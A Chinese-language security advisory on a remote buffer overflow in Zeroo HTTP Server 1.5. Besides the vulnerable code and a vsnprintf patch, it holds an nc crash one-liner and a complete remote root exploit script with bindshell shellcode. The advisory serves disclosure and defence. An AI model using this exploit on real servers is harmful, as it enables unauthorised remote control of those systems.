首页 -> 安全研究

安全研究

安全漏洞
Zeroo HTTP远程缓冲区溢出漏洞

发布日期:2002-11-18
更新日期:2002-11-21

受影响系统:
Zeroo HTTP Server 1.5
描述:
Zeroo HTTP Server是一款简单快速的WEB服务器程序。

Zeroo HTTP服务程序对用户的请求缺少正确缓冲区长度检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,以WEB进程的权限在系统上执行任意指令。

攻击者向Zeroo HTTP服务程序提交超长URI请求,可导致触发缓冲区溢出攻击,精心构建提交数据可以以WEB进程的权限在系统上执行任意指令。

问题代码存在与HttpWrite()函数中,在拷贝过程中缺少正确检查:

__
    67  char *HttpWrite(char *in, const char *message, ...)
        ...
    69          char buffer[MAX_CONN_BUF]; // #define MAX_CONN_BUF 1024
        ...
    72          va_start(arglist, message);
    73          vsprintf(buffer, message, arglist); // here.
    74          va_end(arglist);
    75
    76          strncpy(in+strlen(in), buffer, strlen(buffer)); // ok.
    --

<*来源:dong-h0un U (xploit@hackermail.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103746584109839&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

dong-h0un U (xploit@hackermail.com)提供了如下测试方法:

bash$ (echo "`perl -e 'print \"x\"x1024'`";cat)|nc 0 8000

dong-h0un U(xploit@hackermail.com) 提供了如下测试程序:

#!/bin/sh
#
# 0x82-Zer00.sh Zeroo HTTP Server Remote root exploit for Linux
#
# __
# exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
# My World: http://x82.i21c.net
#
(printf "\n 0x82-Zer00.sh Zeroo HTTP Server Remote root exploit");
(printf "\n                                by x82 in INetCop(c)\n\n");
#
if [ "$2" = "" ]; then
(printf " Usage: 0x82-Zer00.sh [hostname] [port]\n\n");
exit; fi
#
cat >0x82-Remote-Zeroosubugxpl.c<< X82X82
#define Xpl017Elz x82
int main(/* args? */) {
    int num;
    char b1ndsh[] = /* Linux(x86) bindshell on port 3879 */
        "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
        "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
        "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
        "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
        "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
        "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
        "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
        "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
    for(num=0;num<0xa4;num+=4)
        printf("\xc0\xf4\xff\xbf"); // this's &shellcode
    for(num=0;num<0x02a8-strlen(b1ndsh);num++)
        printf("N"); /* nop...NNNNNNNNNNNNN...NNNNNNNNNNNNN;;; */
    printf("%s",b1ndsh); /* shellcode */
    for(num=0;num<0xb4;num++)
    printf("\xff"); /* byteother */
    printf("\r\n");
}
X82X82
#
(printf " { 0x00. Compile exploit. }\n");
make 0x82-Remote-Zeroosubugxpl
(printf " { 0x01. Send code ! }\n");
(./0x82-Remote-Zeroosubugxpl;cat)|nc $1 $2 &
(printf " { 0x02. OK, Try $1:3879 ... }\n");
nc $1 3879
(printf " { 0x03. Connection closed. }\n");
#
(printf " { 0x04. Delete exploit code. }\n");
rm -f 0x82-Remote-Zeroosubugxpl*
(printf " { 0x05. End :-}\n\n");
#

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* dong-h0un U提供了如下第三方补丁:

=== http.patch ===

--- http.cpp    Fri Apr 12 13:26:24 2002
+++ http.patch.cpp      Tue Nov 10 00:28:13 2002
@@ -70,7 +70,7 @@
    va_list arglist;

    va_start(arglist, message);
-    vsprintf(buffer, message, arglist);
+    vsnprintf(buffer, MAX_CONN_BUF, message, arglist);
    va_end(arglist);

    strncpy(in+strlen(in), buffer, strlen(buffer));

=== eof ===

厂商补丁:

Zeroo
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://lonerunner.cfxweb.net/

浏览次数:3398
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障